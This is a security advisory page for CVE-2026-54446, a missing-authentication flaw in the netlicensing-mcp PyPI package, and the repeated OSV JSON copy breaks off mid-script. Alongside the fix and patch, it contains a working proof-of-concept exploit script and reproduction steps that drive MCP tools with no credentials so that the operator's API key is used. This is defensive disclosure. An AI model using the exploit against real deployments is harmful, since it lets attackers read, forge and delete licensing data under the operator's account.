CVE-2026-54446: NetLicensing-MCP Unauthenticated Use Of Server-Side NetLicensing Vulnerability
HIGH
Advisory Identifier:
GHSA-x9vc-9ffq-p3gj
Advisory Summary
CVE-2026-54446 is a HIGH (CVSS 8.1) unauthenticated use of server-side netlicensing vulnerability (CWE-306: Missing Authentication for Critical Function) affecting NetLicensing-MCP libraries in the PyPI ecosystem. The issue involves unauthenticated use of server-side netlicensing api key in http mode. Remediation is available by upgrading affected packages to version 0.1.6.
CVE-2026-54446 at a Glance
CVE Identifier
CVE-2026-54446
GHSA Identifier
GHSA-x9vc-9ffq-p3gj
Severity
HIGH
CVSS v3.1 Base Score
8.1
CWE Classification
CWE-306: Missing Authentication for Critical Function
Affected Product
NetLicensing-MCP
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
High (AC:H)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2026-54446
To remediate this vulnerability, upgrade all affected NetLicensing-MCP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
netlicensing-mcp
fixed: 0.1.6
pip install netlicensing-mcp>=0.1.6
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show netlicensing-mcpHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54446, inspect your installed packages using pip:
pip show netlicensing-mcpAnalyze the terminal output to locate any version of NetLicensing-MCP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.6), your application is affected.
Note: The pip show netlicensing-mcp command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In NetLicensing-MCP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
### Summary
When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.
### Details
The HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.
The downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv("NETLICENSING_API_KEY", "")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).
The complete exploitable data flow is:
| Step | Location | Description |
|------|----------|-------------|
| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |
| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |
| 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query |
| 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` |
| 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |
| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get("/product", ...)` |
| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |
| 8 | `client.py:62–70` | `Authorization: Basic base64("apiKey:<key>")` constructed |
| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |
Critical code excerpts:
```python
# src/netlicensing_mcp/server.py
1418: if not key:
1419: key = request.query_params.get("apikey")
1421: if key:
1422: token = api_key_ctx.set(key)
...
1427: return await call_next(request) # <-- no rejection when key is absent
```
```python
# src/netlicensing_mcp/client.py
30: "api_key", default=os.getenv("NETLICENSING_API_KEY", "") # server-side fallback
...
64: auth_str = f"apiKey:{api_key}"
70: "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})
```
The README (`README.md:90–94`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310–318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.
A suggested patch replaces the unconditional pass-through with a `401` rejection:
```diff
--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
class ApiKeyMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
+ if request.url.path == "/health":
+ return await call_next(request)
+
key = request.headers.get("x-netlicensing-api-key")
if not key:
auth = request.headers.get("authorization")
if auth and auth.lower().startswith("bearer "):
key = auth[7:]
@@
return await call_next(request)
finally:
api_key_ctx.reset(token)
- return await call_next(request)
+ return JSONResponse(
+ {"error": "NetLicensing API key is required for HTTP transport"},
+ status_code=401,
+ )
```
### PoC
**Environment requirements:**
- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)
- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`
**Self-contained Docker reproduction (all-in-one):**
```
# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .
# Run the PoC — exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing
```
**Manual step-by-step reproduction:**
```
# Terminal 1 — mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("MOCK_REQUEST", self.command, self.path,
self.headers.get("Authorization"), flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY
# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http
# Terminal 3 — attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
print(await session.call_tool("netlicensing_list_products", {"filter": ""}))
asyncio.run(main())
PY
```
**Expected output in Terminal 1:**
```
MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
```
Decoding the Base64 credential confirms the operator's secret was used:
```
$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET
```
**Observed evidence from dynamic reproduction (Phase 2):**
```
[MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.
```
### Impact
This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.
Concrete consequences include:
- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
- **Availability**: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.
**Who is impacted**: Operators who deploy `netlicensing-mcp` in HTTP transport mode (`python3 -m netlicensing_mcp.server http`) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile
FROM python:3.12-slim
RUN apt-get update && apt-get install -y --no-install-recommends git \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy repo (with .git for hatch-vcs versioning) and PoC script
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py
# Install the vulnerable MCP server package and its dependencies
RUN cd /app/repo && pip install --no-cache-dir .
CMD ["python3", "/app/poc.py"]
```
#### `poc.py`
```python
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
CWE-306 — Missing Authentication for Critical Function
Attack scenario:
1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
5. The upstream NetLicensing REST API receives the operator's credential — attacker
effectively uses the operator's account for all MCP tool invocations.
Expected evidence: mock upstream prints
Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
even though the MCP client sent no credentials.
"""
import asyncio
import base64
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ─── Configuration ────────────────────────────────────────────────────────────
MOCK_PORT = 19090
MCP_PORT = 18181
SERVER_API_KEY = "SERVERSECRET" # simulated operator secret injected via env var
# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────
captured_requests: list[dict] = []
mock_ready = threading.Event()
class MockUpstreamHandler(BaseHTTPRequestHandler):
def _handle(self):
auth = self.headers.get("Authorization", "<none>")
entry = {
"method": self.command,
"path": self.path,
"authorization": auth,
}
captured_requests.append(entry)
print(
f"[MOCK_UPSTREAM] {self.command} {self.path} "
f"Authorization={auth}",
flush=True,
)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
do_GET = _handle
do_POST = _handle
do_PUT = _handle
def log_message(self, *args):
pass
def _run_mock(port: int) -> None:
srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
mock_ready.set()
srv.serve_forever()
# ─── Helpers ─────────────────────────────────────────────────────────────────
def _decode_basic(header: str) -> str | None:
if not header.startswith("Basic "):
return None
try:
return base64.b64decode(header[6:]).decode()
except Exception:
return None
async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
"""Poll until the MCP /health endpoint responds or timeout."""
import httpx
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
async with httpx.AsyncClient() as c:
r = await c.get(f"http://{host}:{port}/health", timeout=1)
if r.status_code < 500:
return True
except Exception:
pass
await asyncio.sleep(0.4)
return False
# ─── PoC ──────────────────────────────────────────────────────────────────────
async def main() -> None:
# 1. Start mock upstream
t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
t.start()
mock_ready.wait(timeout=5)
print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)
# 2. Launch vulnerable MCP server in HTTP mode with server-side API key
env = os.environ.copy()
env.update({
"NETLICENSING_API_KEY": SERVER_API_KEY,
"NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
"MCP_HOST": "127.0.0.1",
"MCP_PORT": str(MCP_PORT),
})
proc = subprocess.Popen(
[sys.executable, "-m", "netlicensing_mcp.server", "http"],
env=env,
cwd="/app/repo",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)
ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
if not ready:
# /health may not exist; just wait a fixed time
print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
await asyncio.sleep(5)
if proc.poll() is not None:
_, err = proc.communicate()
print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
sys.exit(1)
print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)
# 3. Attack: connect WITHOUT any API key and invoke a tool
print(
"\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
"with NO client API key ...",
flush=True,
)
try:
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async with streamablehttp_client(
f"http://127.0.0.1:{MCP_PORT}/mcp"
) as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"netlicensing_list_products", {"filter": ""}
)
print(f"[*] Tool call succeeded: {result}", flush=True)
except Exception as exc:
print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
finally:
proc.terminate()
await asyncio.sleep(0.5)
# 4. Evaluate captured evidence
print("\n" + "=" * 70, flush=True)
print("CAPTURED UPSTREAM REQUESTS:", flush=True)
for req in captured_requests:
print(f" {req['method']} {req['path']}", flush=True)
print(f" Authorization: {req['authorization']}", flush=True)
decoded = _decode_basic(req["authorization"])
if decoded:
print(f" Decoded: {decoded}", flush=True)
print("=" * 70, flush=True)
# 5. Verdict
server_key_leaked = any(
SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
for r in captured_requests
)
if server_key_leaked:
print(
f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
flush=True,
)
sys.exit(0)
elif not captured_requests:
print(
"\n[FAIL] No upstream requests captured — the MCP tool call did not "
"reach the upstream API.",
flush=True,
)
sys.exit(2)
else:
print(
"\n[FAIL] Upstream requests captured but server API key not found in "
"Authorization headers.",
flush=True,
)
sys.exit(2)
if __name__ == "__main__":
asyncio.run(main())
```
CVE-2026-54446 Affected NetLicensing-MCP Versions
1 component(s)
Fixed Versions:
0.1.6
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
netlicensing-mcp
|
PyPI |
< 0.1.6
|
0.1.6
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-x9vc-9ffq-p3gj
Security Fix Commit
FIX COMMIT
https://github.com/Labs64/NetLicensing-MCP/commit/fbbb1d5ff88eb5400ec933a84e75601ebee48927
NetLicensing-MCP Source Repository
REPOSITORY
https://github.com/Labs64/NetLicensing-MCP
NetLicensing-MCP Release
RELEASE
https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.6
Frequently Asked Questions
What is CVE-2026-54446?
CVE-2026-54446 is a security vulnerability in NetLicensing-MCP involving Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode under CWE-306: Missing Authentication for Critical Function.
Which NetLicensing-MCP versions are affected?
Affected versions include releases prior to 0.1.6 across affected packages: netlicensing-mcp.
What version fixes CVE-2026-54446?
Upgrading to 0.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is netlicensing-mcp affected?
Yes, netlicensing-mcp is affected in releases prior to 0.1.6. Upgrade your dependency to 0.1.6 or later.
What is the CVSS score of CVE-2026-54446?
CVE-2026-54446 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54446?
CVE-2026-54446 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check PyPI dependencies for CVE-2026-54446?
Run the dependency tree command: 'pip show netlicensing-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-x9vc-9ffq-p3gj",
"modified" : "2026-07-14T20:47:19Z",
"published" : "2026-07-14T20:47:19Z",
"aliases" : [ "CVE-2026-54446" ],
"summary" : "NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode",
"details" : "## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\n\n### Summary\n\nWhen `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\n### Details\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.\n\nThe downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv(\"NETLICENSING_API_KEY\", \"\")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).\n\nThe complete exploitable data flow is:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |\n| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |\n| 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query |\n| 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` |\n| 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |\n| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get(\"/product\", ...)` |\n| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |\n| 8 | `client.py:62–70` | `Authorization: Basic base64(\"apiKey:<key>\")` constructed |\n| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |\n\nCritical code excerpts:\n\n```python\n# src/netlicensing_mcp/server.py\n1418: if not key:\n1419: key = request.query_params.get(\"apikey\")\n1421: if key:\n1422: token = api_key_ctx.set(key)\n ...\n1427: return await call_next(request) # <-- no rejection when key is absent\n```\n\n```python\n# src/netlicensing_mcp/client.py\n30: \"api_key\", default=os.getenv(\"NETLICENSING_API_KEY\", \"\") # server-side fallback\n...\n64: auth_str = f\"apiKey:{api_key}\"\n70: \"Authorization\": f\"Basic {token}\",\n...\n109: r = await client.get(url, headers=_headers(), params=params or {})\n```\n\nThe README (`README.md:90–94`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310–318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.\n\nA suggested patch replaces the unconditional pass-through with a `401` rejection:\n\n```diff\n--- a/src/netlicensing_mcp/server.py\n+++ b/src/netlicensing_mcp/server.py\n@@\n class ApiKeyMiddleware(BaseHTTPMiddleware):\n async def dispatch(self, request: Request, call_next):\n+ if request.url.path == \"/health\":\n+ return await call_next(request)\n+\n key = request.headers.get(\"x-netlicensing-api-key\")\n if not key:\n auth = request.headers.get(\"authorization\")\n if auth and auth.lower().startswith(\"bearer \"):\n key = auth[7:]\n@@\n return await call_next(request)\n finally:\n api_key_ctx.reset(token)\n- return await call_next(request)\n+ return JSONResponse(\n+ {\"error\": \"NetLicensing API key is required for HTTP transport\"},\n+ status_code=401,\n+ )\n```\n\n### PoC\n\n**Environment requirements:**\n- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)\n- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`\n\n**Self-contained Docker reproduction (all-in-one):**\n\n```\n# Build the image from the repository root\ndocker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .\n\n# Run the PoC — exits 0 on confirmed exploit\ndocker run --rm --network=host vuln-001-netlicensing\n```\n\n**Manual step-by-step reproduction:**\n\n```\n# Terminal 1 — mock upstream NetLicensing REST API\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n print(\"MOCK_REQUEST\", self.command, self.path,\n self.headers.get(\"Authorization\"), flush=True)\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n def log_message(self, *args): pass\nHTTPServer((\"127.0.0.1\", 19090), H).serve_forever()\nPY\n\n# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key\nNETLICENSING_API_KEY=SERVERSECRET \\\nNETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \\\nMCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \\\npython3 -m netlicensing_mcp.server http\n\n# Terminal 3 — attacker: connect with NO API key and invoke a tool\npython3 - <<'PY'\nimport asyncio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n async with streamablehttp_client(\"http://127.0.0.1:18181/mcp\") as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n print(await session.call_tool(\"netlicensing_list_products\", {\"filter\": \"\"}))\n\nasyncio.run(main())\nPY\n```\n\n**Expected output in Terminal 1:**\n\n```\nMOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n```\n\nDecoding the Base64 credential confirms the operator's secret was used:\n\n```\n$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d\napiKey:SERVERSECRET\n```\n\n**Observed evidence from dynamic reproduction (Phase 2):**\n\n```\n[MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\nDecoded: apiKey:SERVERSECRET\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own\nNETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.\nCWE-306 / VULN-001 reproduced.\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.\n\nConcrete consequences include:\n\n- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.\n- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.\n- **Availability**: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.\n\n**Who is impacted**: Operators who deploy `netlicensing-mcp` in HTTP transport mode (`python3 -m netlicensing_mcp.server http`) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nRUN apt-get update && apt-get install -y --no-install-recommends git \\\n && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy repo (with .git for hatch-vcs versioning) and PoC script\nCOPY repo/ /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\n\n# Install the vulnerable MCP server package and its dependencies\nRUN cd /app/repo && pip install --no-cache-dir .\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\nCWE-306 — Missing Authentication for Critical Function\n\nAttack scenario:\n 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.\n 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.\n 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.\n 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.\n 5. The upstream NetLicensing REST API receives the operator's credential — attacker\n effectively uses the operator's account for all MCP tool invocations.\n\nExpected evidence: mock upstream prints\n Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n Decoded: apiKey:SERVERSECRET\neven though the MCP client sent no credentials.\n\"\"\"\n\nimport asyncio\nimport base64\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ─── Configuration ────────────────────────────────────────────────────────────\n\nMOCK_PORT = 19090\nMCP_PORT = 18181\nSERVER_API_KEY = \"SERVERSECRET\" # simulated operator secret injected via env var\n\n# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────\n\ncaptured_requests: list[dict] = []\nmock_ready = threading.Event()\n\n\nclass MockUpstreamHandler(BaseHTTPRequestHandler):\n def _handle(self):\n auth = self.headers.get(\"Authorization\", \"<none>\")\n entry = {\n \"method\": self.command,\n \"path\": self.path,\n \"authorization\": auth,\n }\n captured_requests.append(entry)\n print(\n f\"[MOCK_UPSTREAM] {self.command} {self.path} \"\n f\"Authorization={auth}\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n\n do_GET = _handle\n do_POST = _handle\n do_PUT = _handle\n\n def log_message(self, *args):\n pass\n\n\ndef _run_mock(port: int) -> None:\n srv = HTTPServer((\"127.0.0.1\", port), MockUpstreamHandler)\n mock_ready.set()\n srv.serve_forever()\n\n\n# ─── Helpers ─────────────────────────────────────────────────────────────────\n\ndef _decode_basic(header: str) -> str | None:\n if not header.startswith(\"Basic \"):\n return None\n try:\n return base64.b64decode(header[6:]).decode()\n except Exception:\n return None\n\n\nasync def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:\n \"\"\"Poll until the MCP /health endpoint responds or timeout.\"\"\"\n import httpx\n deadline = time.monotonic() + timeout\n while time.monotonic() < deadline:\n try:\n async with httpx.AsyncClient() as c:\n r = await c.get(f\"http://{host}:{port}/health\", timeout=1)\n if r.status_code < 500:\n return True\n except Exception:\n pass\n await asyncio.sleep(0.4)\n return False\n\n\n# ─── PoC ──────────────────────────────────────────────────────────────────────\n\nasync def main() -> None:\n # 1. Start mock upstream\n t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)\n t.start()\n mock_ready.wait(timeout=5)\n print(f\"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}\", flush=True)\n\n # 2. Launch vulnerable MCP server in HTTP mode with server-side API key\n env = os.environ.copy()\n env.update({\n \"NETLICENSING_API_KEY\": SERVER_API_KEY,\n \"NETLICENSING_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/core/v2/rest\",\n \"MCP_HOST\": \"127.0.0.1\",\n \"MCP_PORT\": str(MCP_PORT),\n })\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"netlicensing_mcp.server\", \"http\"],\n env=env,\n cwd=\"/app/repo\",\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n print(f\"[*] Vulnerable MCP server started (pid={proc.pid})\", flush=True)\n\n ready = await _wait_for_mcp(\"127.0.0.1\", MCP_PORT, timeout=15)\n if not ready:\n # /health may not exist; just wait a fixed time\n print(\"[*] /health not responding — waiting 5 s anyway ...\", flush=True)\n await asyncio.sleep(5)\n\n if proc.poll() is not None:\n _, err = proc.communicate()\n print(f\"[!] MCP server exited unexpectedly:\\n{err.decode()}\", flush=True)\n sys.exit(1)\n\n print(f\"[*] MCP server ready on 127.0.0.1:{MCP_PORT}\", flush=True)\n\n # 3. Attack: connect WITHOUT any API key and invoke a tool\n print(\n \"\\n[ATTACK] Sending MCP tool call to netlicensing_list_products \"\n \"with NO client API key ...\",\n flush=True,\n )\n try:\n from mcp import ClientSession\n from mcp.client.streamable_http import streamablehttp_client\n\n async with streamablehttp_client(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n ) as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"netlicensing_list_products\", {\"filter\": \"\"}\n )\n print(f\"[*] Tool call succeeded: {result}\", flush=True)\n except Exception as exc:\n print(f\"[*] MCP client exception (may be normal upstream error): {exc}\", flush=True)\n finally:\n proc.terminate()\n await asyncio.sleep(0.5)\n\n # 4. Evaluate captured evidence\n print(\"\\n\" + \"=\" * 70, flush=True)\n print(\"CAPTURED UPSTREAM REQUESTS:\", flush=True)\n for req in captured_requests:\n print(f\" {req['method']} {req['path']}\", flush=True)\n print(f\" Authorization: {req['authorization']}\", flush=True)\n decoded = _decode_basic(req[\"authorization\"])\n if decoded:\n print(f\" Decoded: 